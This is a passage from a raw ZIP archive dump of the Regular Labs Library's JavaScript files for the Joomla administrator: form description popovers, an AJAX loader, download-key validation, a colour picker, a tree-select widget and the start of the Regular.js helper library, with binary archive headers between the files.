popover.classList.remove('show'); }; label.addEventListener('mouseenter', action_show); label.addEventListener('mouseleave', action_hide); label.addEventListener('focus', action_show); label.addEventListener('blur', action_hide); label.append(button); switch (position) { case 'start': controls.prepend(popover); break; case 'end': controls.append(popover); break; case 'after': default: controls.parentNode.insertBefore(popover, controls.nextSibling); break; } }, removeInlineHelpToggleButton: function() { const toolbar_inlinehelp = document.getElementById('toolbar-inlinehelp'); if (toolbar_inlinehelp) { toolbar_inlinehelp.remove(); } } }; RegularLabs.AdminFormDescriptions.removeInlineHelpToggleButton(); RegularLabs.AdminFormDescriptions.moveLabelDescriptions(); RegularLabs.AdminFormDescriptions.createFromClasses(); document.addEventListener('subform-row-add', () => { document.dispatchEvent(new Event('rl-update-form-descriptions')); }); document.addEventListener('rl-update-form-descriptions', () => { RegularLabs.AdminFormDescriptions.moveLabelDescriptions(); RegularLabs.AdminFormDescriptions.createFromClasses(); }); })(); PK ��\�� �� � js/textarea.min.jsnu &1i� /* * Copyright © 2024 Regular Labs - All Rights Reserved * GNU General Public License version 2 or later */ "use strict";(function(){'use strict';window.RegularLabs=window.RegularLabs||{};window.RegularLabs.TextArea=window.RegularLabs.TextArea||{prependTextarea:function(id,content,separator){const textarea=$(`#${id}`);let originalContent=textarea.val().trim();if(originalContent&&separator){separator=separator==='none'?'':`\n\n${separator}`;originalContent=`${separator}\n\n${originalContent}`;} textarea.val(`${content}${originalContent}`);this.moveCursorInTextareaTo(id,content.length);},moveCursorInTextareaTo:function(id,position){const textarea=document.getElementById(id);if(textarea.setSelectionRange){textarea.focus();textarea.setSelectionRange(position,position);textarea.scrollTop=0;return;} if(textarea.createTextRange){var range=textarea.createTextRange();range.moveStart('character',position);range.select();textarea.scrollTop=0;}},};})(); PK ��\�d�F js/script.min.jsnu &1i� /* * Copyright © 2025 Regular Labs - All Rights Reserved * GNU General Public License version 2 or later */ (function(){'use strict';window.RegularLabs=window.RegularLabs||{};window.RegularLabs.Scripts=window.RegularLabs.Scripts||{version:'25.7.12430',ajax_list:[],started_ajax_list:false,ajax_list_timer:null,loadAjax:function(url,success,fail,query,timeout,dataType,cache){if(url.indexOf('index.php')!==0&&url.indexOf('administrator/index.php')!==0){url=url.replace('http://','');url=`index.php?rl_qp=1&url=${encodeURIComponent(url)}`;if(timeout){url+=`&timeout=${timeout}`;} if(cache){url+=`&cache=${cache}`;}} let base=window.location.pathname;base=base.substring(0,base.lastIndexOf('/'));if(typeof Joomla!=='undefined'&&typeof Joomla.getOptions!=='undefined'&&Joomla.getOptions('system.paths')){base=Joomla.getOptions('system.paths').base;} this.loadUrl(`${base}/${url}`,null,(function(data){if(success){success=`data=data?data:'';${success};`.replace(/;\s*;/g,';');eval(success);}}),(function(data){if(fail){fail=`data=data?data:'';${fail};`.replace(/;\s*;/g,';');eval(fail);}}));},loadUrl:function(url,data,success,fail){return new Promise((resolve)=>{const request=new XMLHttpRequest();request.open("POST",url,true);request.setRequestHeader('Content-type','application/x-www-form-urlencoded');request.onreadystatechange=function(){if(this.readyState!==4){return;} if(this.status!==200){fail&&fail.call(null,this.responseText,this.status,this);resolve(this);return;} success&&success.call(null,this.responseText,this.status,this);resolve(this);};request.send(data);});},addToLoadAjaxList:function(url,success,error){url=url.replace(/'/g,"\\'");success=success.replace(/'/g,"\\'");error=error.replace(/'/g,"\\'");const action=`RegularLabs.Scripts.loadAjax('${url}','${success};RegularLabs.Scripts.ajaxRun();','${error};RegularLabs.Scripts.ajaxRun();')`;this.addToAjaxList(action);},addToAjaxList:function(action){this.ajax_list.push(action);if(!this.started_ajax_list){this.ajaxRun();}},ajaxRun:function(){if(!this.ajax_list.length){return;} clearTimeout(this.ajax_list_timer);this.started_ajax_list=true;const action=this.ajax_list.shift();eval(`${action};`);if(!this.ajax_list.length){this.started_ajax_list=false;return;} this.ajax_list_timer=setTimeout(function(){RegularLabs.Scripts.ajaxRun();},5000);},};})(); PK ��\,�2A�0 �0 js/downloadkey.jsnu &1i� /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ (function() { 'use strict'; window.RegularLabs = window.RegularLabs || {}; window.RegularLabs.DownloadKey = window.RegularLabs.DownloadKey || { init: function() { const downloadKeys = document.querySelectorAll('div.rl-download-key'); downloadKeys.forEach((container) => { const spinner = container.querySelector('span.rl-spinner'); const inputField = container.querySelector('input.rl-code-field'); const editButton = container.querySelector('.button-edit'); const applyButton = container.querySelector('.button-apply'); const cancelButton = container.querySelector('.button-cancel'); const emptyError = container.querySelector('.key-error-empty'); const localError = container.querySelector('.key-error-local'); const modal = container.querySelector(`#downloadKeyModal_${inputField.id}`); const extension = inputField.dataset['keyExtension']; let key = ''; if (modal) { // Move modal to end of body, to prevent it getting hidden if inside hidden tab document.body.appendChild(modal); modal.addEventListener('shown.bs.modal', () => { const modalInputField = modal.querySelector('input.rl-download-key-field'); modalInputField.focus(); }); } const getKey = async function() { const url = 'index.php?option=com_ajax&plugin=regularlabs&format=raw&getDownloadKey=1'; const response = await RegularLabs.Scripts.loadUrl(url); if (response.status !== 200) { handleGetKeyFail(); return; } const responseText = response.responseText.trim(); handleGetKeySuccess(responseText); }; const handleGetKeySuccess = async function(data) { if ( ! data.match(/^[a-z0-9]*$/i)) { handleGetKeyFail(); return; } key = data; await checkDownloadKey(); reset(); addListeners(); }; const handleGetKeyFail = function() { localError.classList.remove('hidden'); showModal(); }; const checkDownloadKey = async function() { const result = await RegularLabs.DownloadKey.check(extension, key, container, false); if (['empty', 'invalid'].indexOf(result.error) > -1) { showModal(); } }; const showModal = function() { if ( ! modal) { return; } RegularLabs.DownloadKey.check(extension, key, modal); if (window.bootstrap && window.bootstrap.Modal && ! window.bootstrap.Modal.getInstance(modal)) { Joomla.initialiseModal(modal, { isJoomla: true }); } window.bootstrap.Modal.getInstance(modal).show(); }; const addListeners = function() { inputField.addEventListener('focus', selectField); inputField.addEventListener('keydown', handleKeyPressField); document.addEventListener('mousedown', deselectField); editButton.addEventListener('click', () => { inputField.focus(); }); applyButton.addEventListener('click', clickSave); cancelButton.addEventListener('click', clickCancel); }; const selectField = function() { inputField.value = ''; inputField.classList.remove('inactive'); editButton.classList.add('hidden'); applyButton.classList.remove('hidden'); cancelButton.classList.remove('hidden'); }; const handleKeyPressField = function(event) { switch (event.keyCode) { case 13: // ENTER save(); break; case 27: // ESC cancel(); break; default: break; } }; const deselectField = function(event) { if (event.target.closest('div.rl-download-key') === container) { return; } if (inputField.classList.contains('inactive')) { return; } cancel(); }; const clickSave = function(event) { event.preventDefault(); save(); }; const clickCancel = function(event) { event.preventDefault(); cancel(); }; const save = async function() { const saved = await RegularLabs.DownloadKey.save(extension, inputField.value, container); if ( ! saved) { return; } key = inputField.value; container.dataset.callback && eval(`(() => { ${container.dataset.callback} })()`); reset(); }; const cancel = async function() { reset(); RegularLabs.DownloadKey.resetErrors(container); RegularLabs.DownloadKey.check(extension, key, container); }; const reset = function() { inputField.value = cloak(key); inputField.blur(); spinner.classList.add('hidden'); inputField.classList.remove('hidden'); inputField.classList.add('inactive'); editButton.classList.remove('hidden'); applyButton.classList.add('hidden'); cancelButton.classList.add('hidden'); }; const cloak = function(string) { return RegularLabs.DownloadKey.cloak(string, inputField.dataset['keyCloakLength']); }; getKey(); }); }, cloak: function(string, cloakLength = 4) { if (string.length <= cloakLength) { return string; } return "*".repeat(string.length - cloakLength) + string.substr(-cloakLength); }, showError: function(type, element, focus = true) { element.querySelector(`.key-error-${type}`) && element.querySelector(`.key-error-${type}`).classList.remove('hidden'); if (type === 'empty' || type === 'expired' || type === 'invalid') { element.querySelector('div.rl-download-key-wrapper') && element.querySelector('div.rl-download-key-wrapper').classList.remove('hidden'); } if ( ! focus) { return; } const inputField = element.querySelector('input.rl-download-key-field'); inputField.classList.add('invalid'); inputField.click(); }, resetErrors: function(element) { const inputField = element.querySelector('input.rl-download-key-field'); inputField.classList.remove('invalid'); element.querySelectorAll('[class*="key-error-"]').forEach((error) => { error.classList.add('hidden'); }); }, save: function(extension, key, element) { return new Promise(async (resolve) => { const result = await RegularLabs.DownloadKey.check(extension, key, element); if ( ! result.pass) { resolve(false); return; } await RegularLabs.DownloadKey.store(extension, key); if (window.bootstrap.Modal && window.bootstrap.Modal.getInstance(element)) { const mainId = element.id.replace('downloadKeyModal_', 'downloadKeyWrapper_'); const mainElement = document.querySelector(`#${mainId}`); RegularLabs.DownloadKey.resetErrors(mainElement); await RegularLabs.DownloadKey.check(extension, key, mainElement); window.bootstrap.Modal.getInstance(element).hide(); } else { RegularLabs.DownloadKey.resetErrors(element); await RegularLabs.DownloadKey.check(extension, key, element); } resolve(true); }); }, check: function(extension, key, element, focus = true) { return new Promise(async (resolve) => { const url = `index.php?option=com_ajax&plugin=regularlabs&format=raw&checkDownloadKey=1&extension=${extension}&key=${key}`; const inputField = element.querySelector('input.rl-download-key-field'); RegularLabs.DownloadKey.resetErrors(element); const result = {pass: false, error: ''}; if ( ! key) { result.error = 'empty'; RegularLabs.DownloadKey.showError(result.error, element, focus); inputField.value = RegularLabs.DownloadKey.cloak(key); result.pass = true; resolve(result); return; } const response = await RegularLabs.Scripts.loadUrl(url); if (response.status !== 200) { result.error = 'local'; RegularLabs.DownloadKey.showError(result.error, element, false); resolve(result); return; } const responseText = response.responseText.trim(); if ( ! responseText || responseText.charAt(0) !== '{') { result.error = 'external'; RegularLabs.DownloadKey.showError(result.error, element, false); resolve(result); return; } const data = JSON.parse(responseText); if ( ! data.valid) { result.error = 'invalid'; RegularLabs.DownloadKey.showError(result.error, element, focus); resolve(result); return; } const is_modal = element.id.indexOf('downloadKeyModal_') > -1; if ( ! data.active && is_modal) { result.error = 'expired'; RegularLabs.DownloadKey.showError(result.error, element, focus); resolve(result); return; } if ( ! data.active) { RegularLabs.DownloadKey.showError('expired', element, false); } inputField.value = RegularLabs.DownloadKey.cloak(key); result.pass = true; resolve(result); }); }, store: function(extension, key) { const url = `index.php?option=com_ajax&plugin=regularlabs&format=raw&saveDownloadKey=1&key=${key}`; return RegularLabs.Scripts.loadUrl(url); }, }; RegularLabs.DownloadKey.init(); })(); PK ��\7B�� � js/simplecategory.jsnu &1i� /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ (function() { 'use strict'; document.querySelectorAll('rl-field-simple-category').forEach((simplecategory) => { const fancy_select = simplecategory.querySelector('joomla-field-fancy-select'); const select = simplecategory.querySelector('select'); const input = simplecategory.querySelector('input.choices__input'); if ( ! fancy_select || ! select || ! input) { return; } const choices = fancy_select.choicesInstance; // fancy_select.addEventListener('change', () => { // const new_category = input.value; // select.add(new Option(new_category, new_category)); // select.value = new_category; // console.log('----'); // console.log(select.value); // choices.clearInput(); // }); input.addEventListener('change', (event) => { choices.clearInput(); }); input.addEventListener('keyup', (event) => { if (event.keyCode !== 13) { return; } choices.clearInput(); }); const setNewCategory = (() => { const new_category = input.value; choices.clearInput(); if ( ! new_category.length) { return; } const new_option = new Option(new_category, new_category); select.add(new_option); select.value = new_category; choices._addChoice(new_option); choices._triggerChange(new_category); choices.setChoiceByValue(new_category); choices.clearInput(); }); }); })(); PK ��\��B �B js/mini-colors.jsnu &1i� /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ (function(window, document, Math) { var picker, currentEl, oldColor; // Default settings var settings = { el : '[data-rl-mini-colors]', parent : null, wrap : true, margin : 2, swatches : [], swatchesOnly: false, alpha : true, autoClose : false, a11y: { open : 'Open color picker', swatch: 'Color swatch', } }; /** * Configure the color picker. * @param {object} options Configuration options. */ function configure(options) { if (typeof options !== 'object') { return; } for (var key in options) { switch (key) { case 'el': bindFields(options.el); if (options.wrap !== false) { wrapFields(options.el); } break; case 'parent': settings.parent = document.querySelector(options.parent); if (settings.parent) { settings.parent.appendChild(picker); } break; case 'margin': options.margin *= 1; settings.margin = ! isNaN(options.margin) ? options.margin : settings.margin; break; case 'wrap': if (options.el && options.wrap) { wrapFields(options.el); } break; case 'swatches': if (Array.isArray(options.swatches)) { (function() { var swatches = []; options.swatches.forEach(function(swatch, i) { swatches.push("<button id=\"rl-mini-colors-swatch-" + i + "\" class=\"rl-mini-colors-button\" aria-labelledby=\"rl-mini-colors-swatch-label rl-mini-colors-swatch-" + i + "\" style=\"color: " + swatch + ";\">" + swatch + "</button>"); }); if (swatches.length) { getEl('rl-mini-colors-swatches').innerHTML = "<div>" + swatches.join('') + "</div>"; } })(); } break; case 'swatchesOnly': settings.swatchesOnly = !! options.swatchesOnly; picker.setAttribute('data-minimal', settings.swatchesOnly); if (settings.swatchesOnly) { settings.autoClose = true; } break; case 'a11y': var labels = options.a11y; var update = false; if (typeof labels === 'object') { for (var label in labels) { if (labels[label] && settings.a11y[label]) { settings.a11y[label] = labels[label]; update = true; } } } if (update) { var openLabel = getEl('rl-mini-colors-open-label'); var swatchLabel = getEl('rl-mini-colors-swatch-label'); openLabel.innerHTML = settings.a11y.open; swatchLabel.innerHTML = settings.a11y.swatch; } default: settings[key] = options[key]; } } } /** * Bind the color picker to input fields that match the selector. * @param {string} selector One or more selectors pointing to input fields. */ function bindFields(selector) { // Show the color picker on click on the input fields that match the selector addListener(document, 'click', selector, function(event) { var parent = settings.parent; var coords = event.target.getBoundingClientRect(); var scrollY = window.scrollY; var reposition = {left: false, top: false}; var offset = {x: 0, y: 0}; var left = coords.x; var top = scrollY + coords.y + coords.height + settings.margin; currentEl = event.target; picker.classList.add('rl-mini-colors-open'); var pickerWidth = picker.offsetWidth; var pickerHeight = picker.offsetHeight; // If the color picker is inside a custom container // set the position relative to it if (parent) { var style = window.getComputedStyle(parent); var marginTop = parseFloat(style.marginTop); var borderTop = parseFloat(style.borderTopWidth); offset = parent.getBoundingClientRect(); offset.y += borderTop + scrollY; left -= offset.x; top -= offset.y; if (left + pickerWidth > parent.clientWidth) { left += coords.width - pickerWidth; reposition.left = true; } if (top + pickerHeight > parent.clientHeight - marginTop) { top -= coords.height + pickerHeight + settings.margin * 2; reposition.top = true; } top += parent.scrollTop; // Otherwise set the position relative to the whole document } else { if (left + pickerWidth > document.documentElement.clientWidth) { left += coords.width - pickerWidth; reposition.left = true; } if (top + pickerHeight - scrollY > document.documentElement.clientHeight) { top = scrollY + coords.y - pickerHeight - settings.margin; reposition.top = true; } } picker.classList.toggle('rl-mini-colors-left', reposition.left); picker.classList.toggle('rl-mini-colors-top', reposition.top); picker.style.left = left + "px"; picker.style.top = top + "px"; deselectRow(currentEl); }); } function deselectRow(el) { const tr = el.closest('tr'); if ( ! tr) { return; } const input = tr.querySelector('.form-check-input'); if ( ! input) { return; } input.checked = false; } /** * Wrap the linked input fields in a div that adds a color preview. * @param {string} selector One or more selectors pointing to input fields. */ function wrapFields(selector) { document.querySelectorAll(selector).forEach(function(field) { var parentNode = field.parentNode; if ( ! parentNode.classList.contains('rl-mini-colors-field')) { var wrapper = document.createElement('div'); wrapper.innerHTML = "<button class=\"rl-mini-colors-button\" aria-labelledby=\"rl-mini-colors-open-label\"></button>"; parentNode.insertBefore(wrapper, field); wrapper.setAttribute('class', 'rl-mini-colors-field'); wrapper.style.color = field.value; wrapper.appendChild(field); } }); } /** * Close the color picker. * @param {boolean} [revert] If true, revert the color to the original value. */ function closePicker(color) { if ( ! currentEl) { return; } picker.classList.remove('rl-mini-colors-open'); currentEl = null; } /** * Copy the active color to the linked input field. * @param {number} [color] Color value to override the active color. */ function pickColor(color) { if ( ! currentEl) { return; } currentEl.value = color; currentEl.dispatchEvent(new Event('input', {bubbles: true})); currentEl.dispatchEvent(new Event('change', {bubbles: true})); const parent = currentEl.parentNode; if (parent.classList.contains('rl-mini-colors-field')) { parent.style.color = color; } } /** * Init the color picker. */ function init() { // Render the UI picker = document.createElement('div'); picker.setAttribute('id', 'rl-mini-colors-picker'); picker.className = 'rl-mini-colors-picker'; picker.innerHTML = '<div id="rl-mini-colors-swatches" class="rl-mini-colors-swatches"></div>' + ("<span id=\"rl-mini-colors-open-label\" hidden>" + settings.a11y.open + "</span>") + ("<span id=\"rl-mini-colors-swatch-label\" hidden>" + settings.a11y.swatch + "</span>"); // Append the color picker to the DOM document.body.appendChild(picker); // Bind the picker to the default selector bindFields(settings.el); wrapFields(settings.el); addListener(picker, 'click', '.rl-mini-colors-swatches .rl-mini-colors-button', (event) => { pickColor(event.target.textContent); closePicker(event.target.textContent); }); addListener(document, 'click', '.rl-mini-colors-field .rl-mini-colors-button', (event) => { event.target.nextElementSibling.dispatchEvent(new Event('click', {bubbles: true})); }); addListener(document, 'mousedown', (event) => { if (event.target.classList.contains('rl-mini-colors') || event.target.classList.contains('rl-mini-colors-picker') || event.target.closest('.rl-mini-colors-picker')) { return; } closePicker(); }); } /** * Shortcut for getElementById to optimize the minified JS. * @param {string} id The element id. * @return {object} The DOM element with the provided id. */ function getEl(id) { return document.getElementById(id); } /** * Shortcut for addEventListener to optimize the minified JS. * @param {object} context The context to which the listener is attached. * @param {string} type Event type. * @param {(string|function)} selector Event target if delegation is used, event handler if not. * @param {function} [fn] Event handler if delegation is used. */ function addListener(context, type, selector, fn) { var matches = Element.prototype.matches || Element.prototype.msMatchesSelector; // Delegate event to the target of the selector if (typeof selector === 'string') { context.addEventListener(type, function(event) { if (matches.call(event.target, selector)) { fn.call(event.target, event); } }); // If the selector is not a string then it's a function // in which case we need regular event listener } else { fn = selector; context.addEventListener(type, fn); } } /** * Call a function only when the DOM is ready. * @param {function} fn The function to call. * @param {array} [args] Arguments to pass to the function. */ function DOMReady(fn, args) { args = args !== undefined ? args : []; if (document.readyState !== 'loading') { fn.apply(void 0, args); } else { document.addEventListener('DOMContentLoaded', function() { fn.apply(void 0, args); }); } } // Polyfill for Nodelist.forEach if (NodeList !== undefined && NodeList.prototype && ! NodeList.prototype.forEach) { NodeList.prototype.forEach = Array.prototype.forEach; } // Expose the color picker to the global scope window.RegularLabs_MiniColors = function() { var methods = { set : configure, wrap : wrapFields, close: closePicker }; function RegularLabs_MiniColors(options) { DOMReady(function() { if (options) { if (typeof options === 'string') { bindFields(options); } else { configure(options); } } }); } var _loop = function _loop(key) { RegularLabs_MiniColors[key] = function() { for (var _len = arguments.length, args = new Array(_len), _key2 = 0; _key2 < _len; _key2++) { args[_key2] = arguments[_key2]; } DOMReady(methods[key], args); }; }; for (var key in methods) { _loop(key); } return RegularLabs_MiniColors; }(); // Init the color picker when the DOM is ready DOMReady(init); })(window, document, Math); (function() { 'use strict'; window.RegularLabs = window.RegularLabs || {}; window.RegularLabs.MiniColors = window.RegularLabs.MiniColors || { init: function() { const minicolors = document.querySelectorAll('div.rl-mini-colors'); const options = Joomla.getOptions ? Joomla.getOptions('rl_minicolors', {}) : Joomla.optionsStorage.rl_minicolors || {}; minicolors.forEach((minicolor) => { const field = minicolor.querySelector('input'); RegularLabs_MiniColors({ el : `#${field.id}`, theme : 'default', alpha : false, swatchesOnly: true, swatches : options.swatches }); if ( ! field.dataset['table'] || ! field.dataset['item_id']) { return; } field.addEventListener('change', () => { RegularLabs.MiniColors.save(field.dataset['table'], field.dataset['item_id'], field.dataset['id_column'], field.value, field); }); RegularLabs.MiniColors.setTableRowBackground(field, field.value); }); }, setTableRowBackground: async function(element, color, opacity = .1) { if ( ! element) { return; } const table_row = element.closest('tr'); if ( ! table_row) { return; } const table_cells = table_row.querySelectorAll('td, th'); if ( ! table_cells.length) { return; } const bg_color = RegularLabs.MiniColors.getColorWithOpacity(color, opacity); if (color[0] === '#') { table_cells[0].style.borderLeft = `4px solid ${color}`; } table_cells.forEach((table_cell) => { table_cell.style.backgroundColor = bg_color; }); }, save: async function(table, item_id, id_column, color, element) { let spinner = null; id_column = id_column ? id_column : 'id'; if (element) { spinner = document.createElement('div'); spinner.classList.add('rl-spinner'); element.closest('div.rl-mini-colors-field').append(spinner); RegularLabs.MiniColors.setTableRowBackground(element, color); } const url = 'index.php?option=com_ajax&plugin=regularlabs&format=raw&saveColor=1' + '&table=' + table + '&item_id=' + item_id + '&id_column=' + id_column + '&color=' + encodeURIComponent(color); await RegularLabs.Scripts.loadUrl(url); RegularLabs.MiniColors.saved(spinner); }, saved: function(spinner = null) { if ( ! spinner) { return; } spinner.remove(); }, getColorWithOpacity: function(hex, opacity) { const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); if ( ! result) { return 'var(--table-bg)'; } return 'rgba(' + parseInt(result[1], 16) + ',' + parseInt(result[2], 16) + ',' + parseInt(result[3], 16) + ',' + opacity + ')'; } }; RegularLabs.MiniColors.init(); })(); PK ��\b� js/treeselect.min.jsnu &1i� /* * Copyright © 2024 Regular Labs - All Rights Reserved * GNU General Public License version 2 or later */ (function(){'use strict';window.RegularLabs=window.RegularLabs||{};window.RegularLabs.TreeSelect=window.RegularLabs.TreeSelect||{direction:(document.dir!==undefined)?document.dir:document.getElementsByTagName("html")[0].getAttribute("dir"),init:function(id){const menu=document.querySelector('div#rl-treeselect-'+id);if(!menu){return;} const list=menu.querySelector('ul');const top_level_items=list.querySelectorAll(':scope > li');const items=list.querySelectorAll('li');const search_field=menu.querySelector('[name="treeselectfilter"]');const sub_tree_select=menu.querySelector('div.sub-tree-select > *');const no_results_found=menu.querySelector('joomla-alert');items.forEach((item)=>{item.text=item.innerText;});items.forEach((item)=>{const checkbox=item.querySelector(':scope > .treeselect-item > input');if(!checkbox){return;} item.classList.toggle('rl-item-checked',checkbox.checked);checkbox.addEventListener('change',()=>{item.classList.toggle('rl-item-checked',checkbox.checked);});const child_list=item.querySelector(':scope > ul.treeselect-sub');if(!child_list){return;} const label=item.querySelector('label');const sub_tree_select_el=sub_tree_select.cloneNode(true);const sub_tree_expand=document.createElement('span');sub_tree_expand.className='treeselect-toggle icon-chevron-down';sub_tree_expand.collapsed=false;sub_tree_expand.addEventListener('click',()=>{this.expand(child_list,sub_tree_expand);});sub_tree_select_el.querySelector('[data-action="checkNested"]').addEventListener('click',()=>{this.check(child_list,true);});sub_tree_select_el.querySelector('[data-action="uncheckNested"]').addEventListener('click',()=>{this.check(child_list,false);});sub_tree_select_el.querySelector('[data-action="toggleNested"]').addEventListener('click',()=>{this.check(child_list,'toggle');});if(checkbox.dataset['rlTreeselectCollapseChildren']){if(checkbox.checked){sub_tree_expand.collapsed=false;this.expand(child_list,sub_tree_expand);this.check(child_list,false);} checkbox.addEventListener('click',()=>{sub_tree_expand.collapsed=!checkbox.checked;this.expand(child_list,sub_tree_expand);this.check(child_list,false);});} item.insertBefore(sub_tree_expand,item.firstChild);label.append(sub_tree_select_el);});menu.querySelector('[data-action="checkAll"]').addEventListener('click',()=>{this.check(menu,true);});menu.querySelector('[data-action="uncheckAll"]').addEventListener('click',()=>{this.check(menu,false);});menu.querySelector('[data-action="toggleAll"]').addEventListener('click',()=>{this.check(menu,'toggle');});menu.querySelector('[data-action="expandAll"]').addEventListener('click',()=>{top_level_items.forEach((item)=>{const child_list=item.querySelector('ul.treeselect-sub');const sub_tree_expand=item.querySelector('.treeselect-toggle');if(!child_list||!sub_tree_expand){return;} sub_tree_expand.collapsed=true;this.expand(child_list,sub_tree_expand);});});menu.querySelector('[data-action="collapseAll"]').addEventListener('click',()=>{top_level_items.forEach((item)=>{const child_list=item.querySelector('ul.treeselect-sub');const sub_tree_expand=item.querySelector('.treeselect-toggle');if(!child_list||!sub_tree_expand){return;} sub_tree_expand.collapsed=false;this.expand(child_list,sub_tree_expand);});});menu.querySelector('[data-action="showAll"]').addEventListener('click',()=>{this.resetSearch(items,search_field,no_results_found);});menu.querySelector('[data-action="showSelected"]').addEventListener('click',(e)=>{this.resetSearch(items,search_field,no_results_found,true);});search_field.addEventListener('keyup',()=>{this.doSearch(items,search_field,no_results_found);});},resetSearch:function(items,search_field,no_results_found,has_checked){search_field.value='';this.doSearch(items,search_field,no_results_found,has_checked);},doSearch:function(items,search_field,no_results_found,has_checked){const text=search_field.value.toLowerCase();no_results_found.style.display='none';let results_found=0;items.forEach((item)=>{if(has_checked&&!item.querySelector('input:checked')){item.style.display='none';return;} if(text!==''){let item_text=item.text.toLowerCase();item_text=item_text.replace(/\s+/g,' ').trim();if(item_text.indexOf(text)==-1){item.style.display='none';return;}} results_found++;item.style.display='block';});if(!results_found){no_results_found.style.display='block';}},check:function(parent,checked){const items=parent.querySelectorAll('li');items.forEach((item)=>{if(item.style.display==='none'){return;} const checkbox=item.querySelector(':scope > .treeselect-item input:enabled');if(!checkbox){return;} checkbox.checked=checked==='toggle'?!checkbox.checked:checked;item.classList.toggle('rl-item-checked',checked);});},expand:function(element,button){const show=button.collapsed;element.style.display=show?'block':'none';button.classList.toggle('icon-chevron-down',show);button.classList.toggle(this.direction==='rtl'?'icon-chevron-left':'icon-chevron-right',!show);button.collapsed=!button.collapsed;if(!show){return;} const child_lists=element.querySelectorAll(':scope > li > ul.treeselect-sub');if(!child_lists.length){return;} child_lists.forEach((child_list)=>{const child_button=child_list.closest('li').querySelector('.treeselect-toggle');child_button.collapsed=true;this.expand(child_list,child_button);});}};})(); PK ��\_��|N |N js/regular.jsnu &1i� /** * @package Regular.js * @description A light and simple JavaScript Library * * @author Peter van Westen <info@regularlabs.com> * @link https://github.com/regularlabs/regularjs * @copyright Copyright © 2024 Regular Labs - All Rights Reserved * @license https://github.com/regularlabs/regularjs/blob/master/LICENCE MIT */ "use strict"; if (typeof window.Regular === 'undefined' || typeof Regular.version === 'undefined' || Regular.version < 1.5) { window.Regular = new function() { /** * * PUBLIC PROPERTIES * */ this.version = 1.5; /** * * PUBLIC METHODS * */ /** * Sets a global alias for the Regular class. * * @param word A string (character or word) representing the alias for the Regular class. * * @return boolean */ this.alias = function(word) { if (typeof window[word] !== 'undefined') { console.error(`Cannot set '${word}' as an alias of Regular, as it already exists.`); return false; } window[word] = $; return true; }; /** * Returns a boolean based on whether the element contains one or more of the given class names. * * @param selector A CSS selector string or a HTMLElement object. * @param classes A string or array of class names. * @param matchAll Optional boolean whether the element should have all given classes (true) or at least one (false). * * @return boolean */ this.hasClasses = function(selector, classes, matchAll = true) { if ( ! selector) { return false; } const element = typeof selector === 'string' ? document.querySelector(selector) : selector; if ( ! element) { return false; } if (typeof classes === 'string') { classes = classes.split(' '); } let hasClass = false; for (const clss of classes) { hasClass = element.classList.contains(clss); if (matchAll && ! hasClass) { return false; } if ( ! matchAll && hasClass) { return true; } } return hasClass; }; /** * Adds given class name(s) to the element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param classes A string or array of class names. */ this.addClasses = function(selector, classes) { doClasses('add', selector, classes); }; /** * Removes given class name(s) from the element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param classes A string or array of class names. */ this.removeClasses = function(selector, classes) { doClasses('remove', selector, classes); }; /** * Toggles given class name(s) of the element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param classes A string or array of class names. * @param force An optional boolean value that forces the class to be added or removed. */ this.toggleClasses = function(selector, classes, force) { switch (force) { case true: doClasses('add', selector, classes); break; case false: doClasses('remove', selector, classes); break; default: doClasses('toggle', selector, classes); break; } }; /** * Makes the given element(s) visible (changes visibility and display attributes). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. */ this.makeVisible = function(selector) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; if ('forEach' in element) { element.forEach(subElement => $.makeVisible(subElement)); return; } let computedDisplay = getComputedStyle(element, 'display'); if ( ! ('origDisplay' in element)) { element.origDisplay = computedDisplay === 'none' ? getDefaultComputedStyle(element, 'display') : computedDisplay; } if (element.origDisplay) { element.style.display = element.origDisplay; element.style.visibility = 'visible'; return; } if (computedDisplay === 'none') { element.style.display = ('origDisplay' in element) ? element.origDisplay : ''; } let elementType = element.nodeName.toLowerCase(); switch (elementType) { case 'tr': elementType = 'table-row'; break; case 'td': case 'th': elementType = 'table-cell'; break; case 'caption': elementType = 'table-caption'; break; case 'col': elementType = 'table-column'; break; case 'colgroup': elementType = 'table-column-group'; break; case 'table': elementType = 'table'; break; case 'thead': elementType = 'table-header-group'; break; case 'tbody': elementType = 'table-row-group'; break; case 'tfoot': elementType = 'table-footer-group'; break; default: elementType = 'block'; break; } element.style.display = elementType; element.style.visibility = 'visible'; }; /** * Shows the given element(s) (makes visible and changes opacity attribute). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. */ this.show = function(selector) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; if ('forEach' in element) { element.forEach(subElement => $.show(subElement)); return; } this.makeVisible(element); element.style.opacity = 1; }; /** * Hides the given element(s) (changes opacity and display attributes). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. */ this.hide = function(selector) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; if ('forEach' in element) { element.forEach(subElement => $.hide(subElement)); return; } const computedDisplay = getComputedStyle(element, 'display'); if (computedDisplay !== 'none' && ! ('origDisplay' in element)) { element.origDisplay = computedDisplay; } element.style.display = 'none'; element.style.visibility = 'hidden'; element.style.opacity = 0; }; /** * Shows or hides the given element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param force An optional boolean value that forces the class to be added or removed. */ this.toggle = function(selector, force) { if ( ! selector) { return; } switch (force) { case true: $.show(selector); break; case false: $.hide(selector); break; 